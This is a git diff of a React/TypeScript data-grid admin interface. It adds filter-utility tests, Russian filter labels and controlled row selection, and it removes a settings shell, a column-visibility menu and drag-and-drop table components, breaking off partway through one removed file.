type Row = { name: string; status: string }
|
||||||
|
|
||||||
|
const rows: Row[] = [
|
||||||
|
{ name: 'web-01', status: 'approved' },
|
||||||
|
{ name: 'db-01', status: 'pending' },
|
||||||
|
{ name: 'mt-01', status: 'revoked' },
|
||||||
|
]
|
||||||
|
|
||||||
|
const field = (item: Row, f: string) =>
|
||||||
|
f === 'name' ? item.name : f === 'status' ? item.status : undefined
|
||||||
|
|
||||||
|
describe('filter-utils', () => {
|
||||||
|
it('getActiveFilters drops empty filters', () => {
|
||||||
|
const active = getActiveFilters([
|
||||||
|
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
|
||||||
|
{ id: '2', field: 'name', operator: 'contains', values: [''] },
|
||||||
|
{ id: '3', field: 'x', operator: 'is', values: [] },
|
||||||
|
{ id: '4', field: 'x', operator: 'is', values: [null, undefined] },
|
||||||
|
])
|
||||||
|
expect(active.map((f) => f.id)).toEqual(['1'])
|
||||||
|
})
|
||||||
|
|
||||||
|
it('applies is / is_not / is_any_of operators', () => {
|
||||||
|
expect(
|
||||||
|
applyFiltersToData(
|
||||||
|
rows,
|
||||||
|
[{ id: '1', field: 'status', operator: 'is', values: ['pending'] }],
|
||||||
|
field,
|
||||||
|
),
|
||||||
|
).toEqual([rows[1]])
|
||||||
|
|
||||||
|
expect(
|
||||||
|
applyFiltersToData(
|
||||||
|
rows,
|
||||||
|
[
|
||||||
|
{
|
||||||
|
id: '1',
|
||||||
|
field: 'status',
|
||||||
|
operator: 'is_any_of',
|
||||||
|
values: ['pending', 'revoked'],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
field,
|
||||||
|
),
|
||||||
|
).toEqual([rows[1], rows[2]])
|
||||||
|
|
||||||
|
expect(
|
||||||
|
applyFiltersToData(
|
||||||
|
rows,
|
||||||
|
[
|
||||||
|
{
|
||||||
|
id: '1',
|
||||||
|
field: 'status',
|
||||||
|
operator: 'is_not',
|
||||||
|
values: ['revoked'],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
field,
|
||||||
|
),
|
||||||
|
).toEqual([rows[0], rows[1]])
|
||||||
|
})
|
||||||
|
|
||||||
|
it('combines multiple filters with AND', () => {
|
||||||
|
const out = applyFiltersToData(
|
||||||
|
rows,
|
||||||
|
[
|
||||||
|
{ id: '1', field: 'status', operator: 'is', values: ['approved'] },
|
||||||
|
{ id: '2', field: 'name', operator: 'contains', values: ['web'] },
|
||||||
|
],
|
||||||
|
field,
|
||||||
|
)
|
||||||
|
expect(out).toEqual([rows[0]])
|
||||||
|
})
|
||||||
|
})
|
||||||
@@ -22,7 +22,6 @@ export {
|
|||||||
export { QuickActionGrid, type QuickActionItem } from './quick-action-grid'
|
export { QuickActionGrid, type QuickActionItem } from './quick-action-grid'
|
||||||
export { OpsDashboard } from './ops-dashboard'
|
export { OpsDashboard } from './ops-dashboard'
|
||||||
export { DetailPanel, type DetailMetricCard } from './detail-panel'
|
export { DetailPanel, type DetailMetricCard } from './detail-panel'
|
||||||
export { SettingsShell, type SettingsTabConfig } from './settings-shell'
|
|
||||||
|
|
||||||
export { PageShell } from '@/components/page-shell'
|
export { PageShell } from '@/components/page-shell'
|
||||||
export { PageHeader } from '@/components/page-header'
|
export { PageHeader } from '@/components/page-header'
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ import {
|
|||||||
Filters,
|
Filters,
|
||||||
type Filter,
|
type Filter,
|
||||||
type FilterFieldConfig,
|
type FilterFieldConfig,
|
||||||
|
type FilterI18nConfig,
|
||||||
} from '@/components/reui/filters'
|
} from '@/components/reui/filters'
|
||||||
import {
|
import {
|
||||||
Frame,
|
Frame,
|
||||||
@@ -51,6 +52,26 @@ type DataGridTableLayout = NonNullable<
|
|||||||
ComponentProps<typeof DataGrid>['tableLayout']
|
ComponentProps<typeof DataGrid>['tableLayout']
|
||||||
>
|
>
|
||||||
|
|
||||||
|
/** Русская локаль фильтров (DNA data-grid-filtering-2, i18n по контракту). */
|
||||||
|
const FILTERS_I18N: Partial<FilterI18nConfig> = {
|
||||||
|
addFilter: 'Фильтр',
|
||||||
|
searchFields: 'Фильтр…',
|
||||||
|
noFieldsFound: 'Фильтры не найдены.',
|
||||||
|
noResultsFound: 'Ничего не найдено.',
|
||||||
|
select: 'Выберите…',
|
||||||
|
true: 'Да',
|
||||||
|
false: 'Нет',
|
||||||
|
min: 'От',
|
||||||
|
max: 'До',
|
||||||
|
to: '—',
|
||||||
|
typeAndPressEnter: 'Введите и нажмите Enter',
|
||||||
|
selected: 'выбрано',
|
||||||
|
selectedCount: 'выбрано',
|
||||||
|
addFilterTitle: 'Добавить фильтр',
|
||||||
|
loadingOptions: 'Загрузка…',
|
||||||
|
errorLoadingOptions: 'Не удалось загрузить варианты.',
|
||||||
|
}
|
||||||
|
|
||||||
export interface ResourcePageTab {
|
export interface ResourcePageTab {
|
||||||
id: string
|
id: string
|
||||||
label: string
|
label: string
|
||||||
@@ -78,8 +99,13 @@ export interface ResourcePageProps<T extends object> {
|
|||||||
onRetry?: () => void
|
onRetry?: () => void
|
||||||
primaryAction?: ReactNode
|
primaryAction?: ReactNode
|
||||||
emptyState?: { title: string; description?: string; action?: ReactNode }
|
emptyState?: { title: string; description?: string; action?: ReactNode }
|
||||||
|
/** Текст для пустого результата после фильтров/поиска (по вкладкам). */
|
||||||
|
filteredEmptyMessage?: string
|
||||||
pageSize?: number
|
pageSize?: number
|
||||||
enableRowSelection?: boolean
|
enableRowSelection?: boolean
|
||||||
|
/** Controlled selection — page owns state, so bulk-действия видят выбор. */
|
||||||
|
rowSelection?: RowSelectionState
|
||||||
|
onRowSelectionChange?: (rowSelection: RowSelectionState) => void
|
||||||
selectionToolbar?: (ctx: {
|
selectionToolbar?: (ctx: {
|
||||||
selectedIds: string[]
|
selectedIds: string[]
|
||||||
selectedCount: number
|
selectedCount: number
|
||||||
@@ -139,8 +165,11 @@ export function ResourcePage<T extends object>({
|
|||||||
onRetry,
|
onRetry,
|
||||||
primaryAction,
|
primaryAction,
|
||||||
emptyState,
|
emptyState,
|
||||||
|
filteredEmptyMessage,
|
||||||
pageSize = 10,
|
pageSize = 10,
|
||||||
enableRowSelection = false,
|
enableRowSelection = false,
|
||||||
|
rowSelection: rowSelectionProp,
|
||||||
|
onRowSelectionChange: onRowSelectionChangeProp,
|
||||||
selectionToolbar,
|
selectionToolbar,
|
||||||
toolbarExtra,
|
toolbarExtra,
|
||||||
hideHeader = false,
|
hideHeader = false,
|
||||||
@@ -156,7 +185,30 @@ export function ResourcePage<T extends object>({
|
|||||||
const activeTab = controlledTab ?? internalTab
|
const activeTab = controlledTab ?? internalTab
|
||||||
|
|
||||||
const [sorting, setSorting] = useState<SortingState>([])
|
const [sorting, setSorting] = useState<SortingState>([])
|
||||||
const [rowSelection, setRowSelection] = useState<RowSelectionState>({})
|
const isSelectionControlled = rowSelectionProp !== undefined
|
||||||
|
const [internalRowSelection, setInternalRowSelection] =
|
||||||
|
useState<RowSelectionState>({})
|
||||||
|
const rowSelection = isSelectionControlled
|
||||||
|
? rowSelectionProp
|
||||||
|
: internalRowSelection
|
||||||
|
const handleRowSelectionChange = useCallback(
|
||||||
|
(
|
||||||
|
updater: RowSelectionState | ((prev: RowSelectionState) => RowSelectionState),
|
||||||
|
) => {
|
||||||
|
const current = isSelectionControlled
|
||||||
|
? rowSelectionProp
|
||||||
|
: internalRowSelection
|
||||||
|
const next = typeof updater === 'function' ? updater(current) : updater
|
||||||
|
if (isSelectionControlled) onRowSelectionChangeProp?.(next)
|
||||||
|
else setInternalRowSelection(next)
|
||||||
|
},
|
||||||
|
[
|
||||||
|
isSelectionControlled,
|
||||||
|
rowSelectionProp,
|
||||||
|
internalRowSelection,
|
||||||
|
onRowSelectionChangeProp,
|
||||||
|
],
|
||||||
|
)
|
||||||
const [columnPinning, setColumnPinning] = useState<ColumnPinningState>(
|
const [columnPinning, setColumnPinning] = useState<ColumnPinningState>(
|
||||||
() => columnPinningProp ?? {},
|
() => columnPinningProp ?? {},
|
||||||
)
|
)
|
||||||
@@ -224,8 +276,8 @@ export function ResourcePage<T extends object>({
|
|||||||
const selectedCount = selectedIds.length
|
const selectedCount = selectedIds.length
|
||||||
|
|
||||||
const clearSelection = useCallback(() => {
|
const clearSelection = useCallback(() => {
|
||||||
setRowSelection({})
|
handleRowSelectionChange({})
|
||||||
}, [])
|
}, [handleRowSelectionChange])
|
||||||
|
|
||||||
const tableLayout = useMemo(
|
const tableLayout = useMemo(
|
||||||
() => ({
|
() => ({
|
||||||
@@ -253,7 +305,7 @@ export function ResourcePage<T extends object>({
|
|||||||
// без drag-handles — enableColumnResizing остаётся false.
|
// без drag-handles — enableColumnResizing остаётся false.
|
||||||
enableColumnResizing: false,
|
enableColumnResizing: false,
|
||||||
onSortingChange: setSorting,
|
onSortingChange: setSorting,
|
||||||
onRowSelectionChange: setRowSelection,
|
onRowSelectionChange: handleRowSelectionChange,
|
||||||
onPaginationChange: setPagination,
|
onPaginationChange: setPagination,
|
||||||
onColumnPinningChange: setColumnPinning,
|
onColumnPinningChange: setColumnPinning,
|
||||||
getCoreRowModel: getCoreRowModel(),
|
getCoreRowModel: getCoreRowModel(),
|
||||||
@@ -357,7 +409,8 @@ export function ResourcePage<T extends object>({
|
|||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const emptyMessage = 'Нет записей по выбранным фильтрам.'
|
const emptyMessage =
|
||||||
|
filteredEmptyMessage ?? 'Нет записей по выбранным фильтрам.'
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full">
|
<div className="w-full">
|
||||||
@@ -431,6 +484,7 @@ export function ResourcePage<T extends object>({
|
|||||||
fields={filterFields}
|
fields={filterFields}
|
||||||
onChange={handleFiltersChange}
|
onChange={handleFiltersChange}
|
||||||
size="default"
|
size="default"
|
||||||
|
i18n={FILTERS_I18N}
|
||||||
trigger={
|
trigger={
|
||||||
<Button type="button" variant="outline" aria-label="Фильтры">
|
<Button type="button" variant="outline" aria-label="Фильтры">
|
||||||
<FilterIcon className="size-4" aria-hidden="true" />
|
<FilterIcon className="size-4" aria-hidden="true" />
|
||||||
@@ -480,9 +534,9 @@ export function ResourcePage<T extends object>({
|
|||||||
<DataGridPagination
|
<DataGridPagination
|
||||||
sizes={[5, 10, 20, 50]}
|
sizes={[5, 10, 20, 50]}
|
||||||
rowsPerPageLabel="Строк на странице"
|
rowsPerPageLabel="Строк на странице"
|
||||||
info="{from} - {to} of {count}"
|
info="{from}–{to} из {count}"
|
||||||
previousPageLabel="Предыдущая"
|
previousPageLabel="Назад"
|
||||||
nextPageLabel="Следующая"
|
nextPageLabel="Вперёд"
|
||||||
/>
|
/>
|
||||||
</FrameFooter>
|
</FrameFooter>
|
||||||
</FramePanel>
|
</FramePanel>
|
||||||
|
|||||||
@@ -1,89 +0,0 @@
|
|||||||
import type { ReactNode } from 'react'
|
|
||||||
import { Link, Outlet, useRouterState } from '@tanstack/react-router'
|
|
||||||
|
|
||||||
import { useIsMobile } from '@evofw/ui/hooks/use-mobile'
|
|
||||||
import { cn } from '@evofw/ui/lib/utils'
|
|
||||||
import { PageShell } from '@/components/page-shell'
|
|
||||||
import { PageHeader } from '@/components/page-header'
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Multi-section settings layout — only when tabs are provided.
|
|
||||||
* Single-page settings use PageShell + Frame + SettingRow directly.
|
|
||||||
* Preview: https://reui.io/preview/base/settings-16
|
|
||||||
*/
|
|
||||||
|
|
||||||
export interface SettingsTabConfig {
|
|
||||||
id: string
|
|
||||||
to: string
|
|
||||||
label: string
|
|
||||||
icon?: ReactNode
|
|
||||||
}
|
|
||||||
|
|
||||||
interface SettingsShellProps {
|
|
||||||
title?: string
|
|
||||||
description?: string
|
|
||||||
/** Required — no phantom default routes. */
|
|
||||||
tabs: SettingsTabConfig[]
|
|
||||||
}
|
|
||||||
|
|
||||||
export function SettingsShell({
|
|
||||||
title = 'Настройки',
|
|
||||||
description = 'Конфигурация control plane',
|
|
||||||
tabs,
|
|
||||||
}: SettingsShellProps) {
|
|
||||||
const isMobile = useIsMobile()
|
|
||||||
const pathname = useRouterState({ select: (s) => s.location.pathname })
|
|
||||||
|
|
||||||
return (
|
|
||||||
<PageShell>
|
|
||||||
<div className="mx-auto flex w-full max-w-4xl flex-col gap-5">
|
|
||||||
<PageHeader title={title} description={description} />
|
|
||||||
|
|
||||||
<div
|
|
||||||
className={cn(
|
|
||||||
'flex gap-5',
|
|
||||||
isMobile ? 'flex-col' : 'flex-row items-start',
|
|
||||||
)}
|
|
||||||
>
|
|
||||||
{tabs.length > 1 ? (
|
|
||||||
<nav
|
|
||||||
aria-label="Разделы настроек"
|
|
||||||
className={cn(
|
|
||||||
'flex gap-1',
|
|
||||||
isMobile
|
|
||||||
? 'scrollbar-none -mx-1 overflow-x-auto overflow-y-hidden pb-1'
|
|
||||||
: 'w-44 shrink-0 flex-col',
|
|
||||||
)}
|
|
||||||
>
|
|
||||||
{tabs.map((tab) => {
|
|
||||||
const isActive = pathname.startsWith(tab.to)
|
|
||||||
return (
|
|
||||||
<Link
|
|
||||||
key={tab.id}
|
|
||||||
to={tab.to}
|
|
||||||
aria-current={isActive ? 'page' : undefined}
|
|
||||||
className={cn(
|
|
||||||
'flex items-center gap-2 rounded-lg px-3 py-2 text-sm transition-colors',
|
|
||||||
isMobile && 'shrink-0',
|
|
||||||
!isMobile && 'w-full',
|
|
||||||
isActive
|
|
||||||
? 'bg-muted text-foreground font-medium shadow-sm ring-1 ring-border/60'
|
|
||||||
: 'text-muted-foreground hover:bg-muted/60 hover:text-foreground',
|
|
||||||
)}
|
|
||||||
>
|
|
||||||
{tab.icon}
|
|
||||||
{tab.label}
|
|
||||||
</Link>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
</nav>
|
|
||||||
) : null}
|
|
||||||
|
|
||||||
<div className="min-w-0 flex-1">
|
|
||||||
<Outlet />
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</PageShell>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -1,53 +0,0 @@
|
|||||||
"use no memo"
|
|
||||||
|
|
||||||
import { ReactElement } from "react"
|
|
||||||
import { getColumnHeaderLabel } from "@/components/reui/data-grid/data-grid"
|
|
||||||
import { Table } from "@tanstack/react-table"
|
|
||||||
|
|
||||||
import {
|
|
||||||
DropdownMenu,
|
|
||||||
DropdownMenuCheckboxItem,
|
|
||||||
DropdownMenuContent,
|
|
||||||
DropdownMenuGroup,
|
|
||||||
DropdownMenuLabel,
|
|
||||||
DropdownMenuTrigger,
|
|
||||||
} from "@evofw/ui/components/dropdown-menu"
|
|
||||||
|
|
||||||
function DataGridColumnVisibility<TData>({
|
|
||||||
table,
|
|
||||||
trigger,
|
|
||||||
}: {
|
|
||||||
table: Table<TData>
|
|
||||||
trigger: ReactElement<Record<string, unknown>>
|
|
||||||
}) {
|
|
||||||
return (
|
|
||||||
<DropdownMenu>
|
|
||||||
<DropdownMenuTrigger render={trigger} />
|
|
||||||
<DropdownMenuContent align="end" className="min-w-[150px]">
|
|
||||||
<DropdownMenuGroup>
|
|
||||||
<DropdownMenuLabel className="font-medium">
|
|
||||||
Toggle Columns
|
|
||||||
</DropdownMenuLabel>
|
|
||||||
{table
|
|
||||||
.getAllColumns()
|
|
||||||
.filter((column) => column.getCanHide())
|
|
||||||
.map((column) => {
|
|
||||||
return (
|
|
||||||
<DropdownMenuCheckboxItem
|
|
||||||
key={column.id}
|
|
||||||
className="capitalize"
|
|
||||||
checked={column.getIsVisible()}
|
|
||||||
onSelect={(event) => event.preventDefault()}
|
|
||||||
onCheckedChange={(value) => column.toggleVisibility(!!value)}
|
|
||||||
>
|
|
||||||
{getColumnHeaderLabel(column)}
|
|
||||||
</DropdownMenuCheckboxItem>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
</DropdownMenuGroup>
|
|
||||||
</DropdownMenuContent>
|
|
||||||
</DropdownMenu>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
export { DataGridColumnVisibility }
|
|
||||||
@@ -1,347 +0,0 @@
|
|||||||
"use client"
|
|
||||||
"use no memo"
|
|
||||||
|
|
||||||
import {
|
|
||||||
createContext,
|
|
||||||
CSSProperties,
|
|
||||||
memo,
|
|
||||||
ReactNode,
|
|
||||||
useContext,
|
|
||||||
useEffect,
|
|
||||||
useId,
|
|
||||||
useMemo,
|
|
||||||
useRef,
|
|
||||||
useState,
|
|
||||||
} from "react"
|
|
||||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
|
||||||
import {
|
|
||||||
DataGridTableBase,
|
|
||||||
DataGridTableBody,
|
|
||||||
DataGridTableBodyRow,
|
|
||||||
DataGridTableBodyRowCell,
|
|
||||||
DataGridTableBodyRowExpandded,
|
|
||||||
DataGridTableBodyRowSkeleton,
|
|
||||||
DataGridTableBodyRowSkeletonCell,
|
|
||||||
DataGridTableEmpty,
|
|
||||||
DataGridTableFillBodyCell,
|
|
||||||
DataGridTableFillHeadCell,
|
|
||||||
DataGridTableFoot,
|
|
||||||
DataGridTableHead,
|
|
||||||
DataGridTableHeadRow,
|
|
||||||
DataGridTableHeadRowCell,
|
|
||||||
DataGridTableHeadRowCellResize,
|
|
||||||
DataGridTableRowSpacer,
|
|
||||||
DataGridTableViewport,
|
|
||||||
} from "@/components/reui/data-grid/data-grid-table"
|
|
||||||
import {
|
|
||||||
closestCenter,
|
|
||||||
DndContext,
|
|
||||||
KeyboardSensor,
|
|
||||||
MouseSensor,
|
|
||||||
TouchSensor,
|
|
||||||
UniqueIdentifier,
|
|
||||||
useSensor,
|
|
||||||
useSensors,
|
|
||||||
type DragEndEvent,
|
|
||||||
type Modifier,
|
|
||||||
} from "@dnd-kit/core"
|
|
||||||
import { restrictToVerticalAxis } from "@dnd-kit/modifiers"
|
|
||||||
import {
|
|
||||||
SortableContext,
|
|
||||||
sortableKeyboardCoordinates,
|
|
||||||
useSortable,
|
|
||||||
verticalListSortingStrategy,
|
|
||||||
} from "@dnd-kit/sortable"
|
|
||||||
import { CSS } from "@dnd-kit/utilities"
|
|
||||||
import {
|
|
||||||
Cell,
|
|
||||||
flexRender,
|
|
||||||
HeaderGroup,
|
|
||||||
Row,
|
|
||||||
Table,
|
|
||||||
} from "@tanstack/react-table"
|
|
||||||
|
|
||||||
import { cn } from "@evofw/ui/lib/utils"
|
|
||||||
import { Button } from "@evofw/ui/components/button"
|
|
||||||
import { GripHorizontalIcon } from "lucide-react"
|
|
||||||
|
|
||||||
// Context to share sortable listeners from row to handle
|
|
||||||
type SortableContextValue = ReturnType<typeof useSortable>
|
|
||||||
const SortableRowContext = createContext<Pick<
|
|
||||||
SortableContextValue,
|
|
||||||
"attributes" | "listeners"
|
|
||||||
> | null>(null)
|
|
||||||
|
|
||||||
function DataGridTableDndRowHandle({ className }: { className?: string }) {
|
|
||||||
const context = useContext(SortableRowContext)
|
|
||||||
|
|
||||||
if (!context) {
|
|
||||||
// Fallback if context is not available (shouldn't happen in normal usage)
|
|
||||||
return (
|
|
||||||
<Button
|
|
||||||
variant="ghost"
|
|
||||||
size="icon-sm"
|
|
||||||
className={cn(
|
|
||||||
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
aria-label="Drag to reorder row"
|
|
||||||
disabled
|
|
||||||
>
|
|
||||||
<GripHorizontalIcon aria-hidden="true" />
|
|
||||||
</Button>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
|
||||||
<Button
|
|
||||||
variant="ghost"
|
|
||||||
size="icon-sm"
|
|
||||||
className={cn(
|
|
||||||
"size-7 cursor-grab opacity-70 hover:bg-transparent hover:opacity-100 active:cursor-grabbing",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
aria-label="Drag to reorder row"
|
|
||||||
{...context.attributes}
|
|
||||||
{...context.listeners}
|
|
||||||
>
|
|
||||||
<GripHorizontalIcon aria-hidden="true" />
|
|
||||||
</Button>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableDndRow<TData>({ row }: { row: Row<TData> }) {
|
|
||||||
const {
|
|
||||||
transform,
|
|
||||||
transition,
|
|
||||||
setNodeRef,
|
|
||||||
isDragging,
|
|
||||||
attributes,
|
|
||||||
listeners,
|
|
||||||
} = useSortable({
|
|
||||||
id: row.id,
|
|
||||||
})
|
|
||||||
|
|
||||||
const style: CSSProperties = {
|
|
||||||
transform: CSS.Transform.toString(transform),
|
|
||||||
transition: transition,
|
|
||||||
opacity: isDragging ? 0.8 : 1,
|
|
||||||
zIndex: isDragging ? 1 : 0,
|
|
||||||
position: "relative",
|
|
||||||
cursor: isDragging ? "grabbing" : undefined,
|
|
||||||
}
|
|
||||||
|
|
||||||
return (
|
|
||||||
<SortableRowContext.Provider value={{ attributes, listeners }}>
|
|
||||||
<DataGridTableBodyRow row={row} dndRef={setNodeRef} dndStyle={style}>
|
|
||||||
{row.getVisibleCells().map((cell: Cell<TData, unknown>) => {
|
|
||||||
return (
|
|
||||||
<DataGridTableBodyRowCell cell={cell} key={cell.id}>
|
|
||||||
{flexRender(cell.column.columnDef.cell, cell.getContext())}
|
|
||||||
</DataGridTableBodyRowCell>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
<DataGridTableFillBodyCell />
|
|
||||||
</DataGridTableBodyRow>
|
|
||||||
{row.getIsExpanded() && <DataGridTableBodyRowExpandded row={row} />}
|
|
||||||
</SortableRowContext.Provider>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
function DataGridTableDndRowsBody<TData>({
|
|
||||||
table,
|
|
||||||
dataIds,
|
|
||||||
}: {
|
|
||||||
table: Table<TData>
|
|
||||||
dataIds: UniqueIdentifier[]
|
|
||||||
}) {
|
|
||||||
const { isLoading, props } = useDataGrid()
|
|
||||||
const pagination = table.getState().pagination
|
|
||||||
|
|
||||||
if (props.loadingMode === "skeleton" && isLoading && pagination?.pageSize) {
|
|
||||||
return (
|
|
||||||
<>
|
|
||||||
{Array.from({ length: pagination.pageSize }).map((_, rowIndex) => (
|
|
||||||
<DataGridTableBodyRowSkeleton key={rowIndex}>
|
|
||||||
{table.getVisibleFlatColumns().map((column, colIndex) => {
|
|
||||||
return (
|
|
||||||
<DataGridTableBodyRowSkeletonCell
|
|
||||||
column={column}
|
|
||||||
key={colIndex}
|
|
||||||
>
|
|
||||||
{column.columnDef.meta?.skeleton}
|
|
||||||
</DataGridTableBodyRowSkeletonCell>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
<DataGridTableFillBodyCell />
|
|
||||||
</DataGridTableBodyRowSkeleton>
|
|
||||||
))}
|
|
||||||
</>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!table.getRowModel().rows.length) return <DataGridTableEmpty />
|
|
||||||
|
|
||||||
return (
|
|
||||||
<SortableContext items={dataIds} strategy={verticalListSortingStrategy}>
|
|
||||||
{table.getRowModel().rows.map((row: Row<TData>) => {
|
|
||||||
return <DataGridTableDndRow row={row} key={row.id} />
|
|
||||||
})}
|
|
||||||
</SortableContext>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Memoized body rows: skip re-renders during active column resize.
|
|
||||||
* Column widths update via CSS variables on the <table> element,
|
|
||||||
* so the browser handles width changes without React re-renders.
|
|
||||||
*/
|
|
||||||
const MemoizedDataGridTableDndRowsBody = memo(
|
|
||||||
DataGridTableDndRowsBody,
|
|
||||||
(_prev, next) => !!next.table.getState().columnSizingInfo.isResizingColumn
|
|
||||||
) as typeof DataGridTableDndRowsBody
|
|
||||||
|
|
||||||
function DataGridTableDndRows<TData>({
|
|
||||||
handleDragEnd,
|
|
||||||
dataIds,
|
|
||||||
footerContent,
|
|
||||||
}: {
|
|
||||||
handleDragEnd: (event: DragEndEvent) => void
|
|
||||||
dataIds: UniqueIdentifier[]
|
|
||||||
footerContent?: ReactNode
|
|
||||||
}) {
|
|
||||||
const { table, props } = useDataGrid()
|
|
||||||
const tableContainerRef = useRef<HTMLDivElement>(null)
|
|
||||||
const [isDraggingRow, setIsDraggingRow] = useState(false)
|
|
||||||
|
|
||||||
const sensors = useSensors(
|
|
||||||
useSensor(MouseSensor, {}),
|
|
||||||
useSensor(TouchSensor, {}),
|
|
||||||
// Keyboard reordering moves one sortable position per keypress instead
|
|
||||||
// of the sensor's raw 25px default.
|
|
||||||
useSensor(KeyboardSensor, {
|
|
||||||
coordinateGetter: sortableKeyboardCoordinates,
|
|
||||||
})
|
|
||||||
)
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
if (!isDraggingRow) return
|
|
||||||
|
|
||||||
const { body, documentElement } = document
|
|
||||||
const previousBodyCursor = body.style.cursor
|
|
||||||
const previousDocumentCursor = documentElement.style.cursor
|
|
||||||
|
|
||||||
body.style.cursor = "grabbing"
|
|
||||||
documentElement.style.cursor = "grabbing"
|
|
||||||
|
|
||||||
return () => {
|
|
||||||
body.style.cursor = previousBodyCursor
|
|
||||||
documentElement.style.cursor = previousDocumentCursor
|
|
||||||
}
|
|
||||||
}, [isDraggingRow])
|
|
||||||
|
|
||||||
const modifiers = useMemo(() => {
|
|
||||||
const restrictToTableContainer: Modifier = ({
|
|
||||||
transform,
|
|
||||||
draggingNodeRect,
|
|
||||||
}) => {
|
|
||||||
if (!tableContainerRef.current || !draggingNodeRect) {
|
|
||||||
return transform
|
|
||||||
}
|
|
||||||
|
|
||||||
const containerRect = tableContainerRef.current.getBoundingClientRect()
|
|
||||||
const { x, y } = transform
|
|
||||||
|
|
||||||
const minX = containerRect.left - draggingNodeRect.left
|
|
||||||
const maxX = containerRect.right - draggingNodeRect.right
|
|
||||||
const minY = containerRect.top - draggingNodeRect.top
|
|
||||||
const maxY = containerRect.bottom - draggingNodeRect.bottom
|
|
||||||
|
|
||||||
return {
|
|
||||||
...transform,
|
|
||||||
x: Math.max(minX, Math.min(maxX, x)),
|
|
||||||
y: Math.max(minY, Math.min(maxY, y)),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return [restrictToVerticalAxis, restrictToTableContainer]
|
|
||||||
}, [])
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DndContext
|
|
||||||
id={useId()}
|
|
||||||
collisionDetection={closestCenter}
|
|
||||||
modifiers={modifiers}
|
|
||||||
onDragCancel={() => setIsDraggingRow(false)}
|
|
||||||
onDragEnd={(event) => {
|
|
||||||
setIsDraggingRow(false)
|
|
||||||
handleDragEnd(event)
|
|
||||||
}}
|
|
||||||
onDragStart={() => setIsDraggingRow(true)}
|
|
||||||
sensors={sensors}
|
|
||||||
>
|
|
||||||
<DataGridTableViewport
|
|
||||||
viewportRef={tableContainerRef}
|
|
||||||
className={
|
|
||||||
isDraggingRow
|
|
||||||
? "relative cursor-grabbing [&_*]:cursor-grabbing!"
|
|
||||||
: "relative"
|
|
||||||
}
|
|
||||||
>
|
|
||||||
<DataGridTableBase>
|
|
||||||
<DataGridTableHead>
|
|
||||||
{table
|
|
||||||
.getHeaderGroups()
|
|
||||||
.map((headerGroup: HeaderGroup<TData>, index) => {
|
|
||||||
return (
|
|
||||||
<DataGridTableHeadRow key={index} rowId={headerGroup.id}>
|
|
||||||
{headerGroup.headers.map((header, index) => {
|
|
||||||
const { column } = header
|
|
||||||
|
|
||||||
return (
|
|
||||||
<DataGridTableHeadRowCell header={header} key={index}>
|
|
||||||
{header.isPlaceholder ? null : props.tableLayout
|
|
||||||
?.columnsResizable && column.getCanResize() ? (
|
|
||||||
<div className="truncate">
|
|
||||||
{flexRender(
|
|
||||||
header.column.columnDef.header,
|
|
||||||
header.getContext()
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
) : (
|
|
||||||
flexRender(
|
|
||||||
header.column.columnDef.header,
|
|
||||||
header.getContext()
|
|
||||||
)
|
|
||||||
)}
|
|
||||||
{props.tableLayout?.columnsResizable &&
|
|
||||||
column.getCanResize() && (
|
|
||||||
<DataGridTableHeadRowCellResize header={header} />
|
|
||||||
)}
|
|
||||||
</DataGridTableHeadRowCell>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
<DataGridTableFillHeadCell />
|
|
||||||
</DataGridTableHeadRow>
|
|
||||||
)
|
|
||||||
})}
|
|
||||||
</DataGridTableHead>
|
|
||||||
|
|
||||||
{(props.tableLayout?.stripped || !props.tableLayout?.rowBorder) && (
|
|
||||||
<DataGridTableRowSpacer />
|
|
||||||
)}
|
|
||||||
|
|
||||||
<DataGridTableBody>
|
|
||||||
<MemoizedDataGridTableDndRowsBody table={table} dataIds={dataIds} />
|
|
||||||
</DataGridTableBody>
|
|
||||||
|
|
||||||
{footerContent && (
|
|
||||||
<DataGridTableFoot>{footerContent}</DataGridTableFoot>
|
|
||||||
)}
|
|
||||||
</DataGridTableBase>
|
|
||||||
</DataGridTableViewport>
|
|
||||||
</DndContext>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
export { DataGridTableDndRowHandle, DataGridTableDndRows }
|
|
||||||
@@ -1,349 +0,0 @@
|
|||||||
"use no memo"
|
|
||||||
|
|
||||||
import {
|
|
||||||
CSSProperties,
|
|
||||||
Fragment,
|
|
||||||
memo,
|
|
||||||
ReactNode,
|
|
||||||
useEffect,
|
|
||||||
useId,
|
|
||||||
useMemo,
|
|
||||||
useRef,
|
|
||||||
useState,
|
|
||||||
} from "react"
|
|
||||||
import { useDataGrid } from "@/components/reui/data-grid/data-grid"
|
|
||||||
import {
|
|
||||||
DataGridTableBase,
|
|
||||||
DataGridTableBody,
|
|
||||||
DataGridTableBodyRow,
|
|
